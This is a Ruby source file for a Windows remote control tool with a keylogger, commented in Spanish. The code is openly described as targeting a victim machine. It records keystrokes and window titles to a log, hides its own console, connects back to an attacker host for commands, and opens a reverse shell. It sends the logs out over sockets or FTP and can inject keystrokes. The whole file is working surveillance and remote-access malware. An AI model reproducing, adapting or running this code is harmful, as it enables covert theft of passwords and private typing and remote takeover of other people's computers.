# Ruby Remote Control Tool (With Keylogger) v1.0 #Funcionamiento / Requisitos: # -Se controla mediante una conexion con sockets # -conexion inversa, tener puerto a la escucha maquina atacante # -Parametros opcionales: host atacante, puerto a la escucha para ordenes, segundo puerto para shell inversa, host ftp, user y pass ftp para transimision logs. #Esta aplicacion permite: # -Activar keylogger en maquina victima # -Recibe todas las pulsaciones de teclado # -Y todas las ventanas abiertas a cada momento # -Obtener la consola del sistema # -Recibir log del keylogger por: # -ftp # -envio por socket # -Se puede pausar o reactivar el keylogger a placer # Queda pendiente para siguientes versiones: # - GUI para cliente # -Solucionar simbolos y borrar y esas cosas...xD # -Añadir opciones (mirar API) # - Envio de pulsaciones de teclado y raton # - Bromas: cambio de coordenadas de ratón, movimiento ventanas, etc... # - Control visual: Impr Pantalla, webcam, # - Búsqueda automática de passwords # -Intrusión de sniffers en red victima # -Multiconexion # -Autotransmisión #Coded by pRotos: protos.nu@gmail.com class Control require 'Win32API' def initialize(host = "caca", port = "caca", ports = "caca", ftphost = "caca", ftpuser = "caca", ftppass = "caca") @host = host @port = port @ports = ports @ftphost = ftphost @ftpuser = ftpuser @ftppass = ftppass end def key teclas = { " " => 32, "[borra]" => 8, "\t" =>9, "\n" => 13, "[esc]" => 27, "*" => 42, "+" => 43, "," => 44, "." => 46} (48 .. 122).each { |x| teclas[x.chr] = x } pulsacion = Win32API.new('user32', 'GetAsyncKeyState', ['i'], 'i') while 1 teclas.each { |x, y| if pulsacion.call(y) & 0x01 == 1 f = File.open('log.txt', 'a') f.print x.downcase f.close end } end end def ventana while 1 a = Win32API.new('user32', 'GetForegroundWindow', [], 'N').Call() sleep 1 b = Win32API.new('user32', 'GetForegroundWindow', [], 'N').Call() if a != b f = File.open('log.txt', 'a') title = ' '*256 win = Win32API.new('user32', 'GetWindowText', ['L', 'P', 'I'], 'I').Call(b, title, 256) title = title.gsub( / +/, '') f.print "[#{title}]\n" f.close end end end def ftp require 'net/ftp' ftp = Net::FTP.new(@ftphost) if @ftppass != 'caca' ftp.login(@ftpuser, @ftppass) end ftp.put('log.txt') end def conn if @host != 'caca' require 'socket' begin @sock = TCPSocket.new(@host, @port) read rescue return false end else return false end end def send f = File.open('log.txt', 'r+') f.each_line do |line| @sock.puts line end end def sendkeys keybd_event = Win32API.new("user32", "keybd_event", ['I','I','L','L'], 'V') while key = @sock.recv(99) break if key =~ /exit/ key = key.chomp keybd_event.Call(key,0,0,0) end end def shell @e = Thread.new { require 'socket' sock2 = TCPSocket.new(@host, @ports) sock2.print("Conexion Establecida\n") sock2.print("[ReverseShell]\n") while c = sock2.recv(99) c = c.chomp b = IO.popen(c) sock2.print b.read end } @e.join end def read @sock.puts "Conexion establecida" @d = Thread.new { while rec = @sock.recv(9) if rec =~ /getkey/ send elsif rec =~ /sendkeys/ sendkeys elsif rec =~ /shell/ shell elsif rec =~ /keyftp/ ftp @sock.print "FTP Done. See #{@ftphost}\n" elsif rec =~ /help/ @sock.print "Commands:\nkeyftp => sends keylogger log by ftp (#{@ftphost})\nshell => Get shell of the system\ngetkey => Get keylogger log by sockets\nhelp => Show the help\n" elsif rec =~ /exit/ @sock.close elsif rec =~ /clearlog/ File.delete('log.txt') else @sock.print "Command not found, type help\n" end end } @d.join end def try while 1 if !@sock conn end end end def run win = Win32API.new('kernel32' , 'GetConsoleWindow' , [] , 'L').call Win32API.new( 'user32' , 'ShowWindow' , ['p' , 'i'] , 'i' ).call(win, 0) @a = Thread.new { key } @b = Thread.new { ventana } @c = Thread.new { try } @c.join @a.join @b.join end end key = Control.new('ip', 10000, 10001) key.run